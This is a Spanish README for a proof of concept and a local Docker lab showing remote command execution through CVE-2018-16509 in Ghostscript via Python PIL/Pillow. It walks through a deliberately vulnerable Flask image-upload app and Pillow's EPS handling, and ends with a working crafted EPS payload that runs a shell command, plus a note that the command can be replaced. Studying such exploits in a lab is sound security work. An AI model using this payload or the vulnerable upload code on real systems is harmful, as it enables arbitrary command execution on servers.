
PoC + Entorno Docker para Ejecución Remota de Comandos Shell en Python PIL/Pillow mediante Ghostscript CVE-2018-16509
Inspirado en https://github.com/ysrc/PIL-RCE-By-GhostButt (RCE en PIL/Pillow a través de CVE-2017-8291). Este entorno docker utiliza una versión más reciente de Ghostscript (v9.23) y un exploit más nuevo (CVE-2018-16509).
Ghostscript es un conjunto de software basado en un intérprete para los lenguajes de descripción de páginas PostScript y PDF (Portable Document Format) de Adobe Systems. De alguna manera, Ghostscript existe en el servidor de producción (por ejemplo, /usr/local/bin/gs) incluso cuando ninguna aplicación lo usa directamente porque Ghostscript se instala como dependencia de otro software (por ejemplo, ImageMagick). Se encontraron un montón de vulnerabilidades en Ghostscript; una de ellas es CVE-2018-16509 (descubierta por Tavis Ormandy de Google Project Zero), una vulnerabilidad que permite explotar la omisión de -dSAFER en Ghostscript anterior a v9.24 para ejecutar comandos arbitrarios mediante el manejo de un restore fallido (grestore) en PostScript para deshabilitar LockSafetyParams y evitar invalidaccess. Esta vulnerabilidad es alcanzable a través de bibliotecas como ImageMagick o la biblioteca de imágenes del lenguaje de programación con el envoltorio de Ghostscript (PIL/Pillow en este ejemplo).
Para realizar pruebas y prueba de concepto, podemos probar el exploit en un entorno docker.
Instale docker/docker-compose en Ubuntu:
# Instalar pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Instalar la última versión de docker
curl -s https://get.docker.com/ | sh
# Ejecutar el servicio docker
service docker start
# Instalar docker compose
pip install docker-compose
Los pasos de instalación de docker y docker-compose para otros sistemas operativos pueden ser ligeramente diferentes; consulte la documentación de docker para más detalles.
# Clonar el repositorio
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Entrar al directorio del repositorio
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compilar el entorno
docker-compose build
# Ejecutar el entorno
docker-compose up -d
Se puede acceder a la aplicación Flask vulnerable en http://127.0.0.1:8000. Puede detener el entorno después de la prueba.
docker-compose down -v
Puede subir rce.jpg (una imagen EPS especialmente manipulada, no un JPG real) para ejecutar touch /tmp/got_rce en el servidor. Como prueba, puede ejecutar docker exec [CONTAINER_ID] ls -alt /tmp. Para obtener CONTAINER_ID, puede verificarlo con docker container ls. Para cambiar la ejecución del shell a otros comandos, puede cambiar touch /tmp/got_rce directamente en rce.jpg.
Puede consultar la explicación de la vulnerabilidad de Tavis Ormandy en oss-security.
Puede ver el código fuente del envoltorio de Ghostscript de PIL/Pillow en EPSImagePlugin.py.
Este es el código vulnerable de app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No se encontró ninguna imagen')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Extensión inválida')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
El contenido del archivo subido será cargado por img = Image.open(img_path). PIL detectará automáticamente si la imagen es una imagen EPS (ejemplo: agregar %!PS-Adobe-3.0 EPSF-3.0 al inicio del archivo) y llamará a _open() en la clase EpsImageFile en EPSImagePlugin.py. Para evitar raise IOError("cannot determine EPS bounding box"), es necesario agregar un cuadro delimitador en el archivo (ejemplo: %%BoundingBox: -0 -0 100 100).
El cuerpo de la imagen EPS será procesado por el binario de Ghostscript con subprocess como podemos ver en EPSImagePlugin.py en la función Ghostscript.
# Construir comando de Ghostscript
command = ["gs",
"-q", # modo silencioso
"-g%dx%d" % size, # establecer geometría de salida (píxeles)
"-r%fx%f" % res, # establecer DPI de entrada (puntos por pulgada)
"-dBATCH", # salir después de procesar
"-dNOPAUSE", # no pausar entre páginas
"-dSAFER", # modo seguro
"-sDEVICE=ppmraw", # controlador ppm
"-sOutputFile=%s" % outfile, # archivo de salida
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# ajustar por origen de imagen
"-f", infile, # archivo de entrada
"-c", "showpage", # showpage (ver: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
El código anterior se llama cuando se llama a load en Image.py, por lo que solo abrir la imagen no activará la vulnerabilidad. Funciones como resize, crop, rotate y save llamarán a load y activarán la vulnerabilidad.
Combinado con el POC de Tavis Ormandy, podemos crear rce.jpg para la ejecución remota de comandos de shell.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops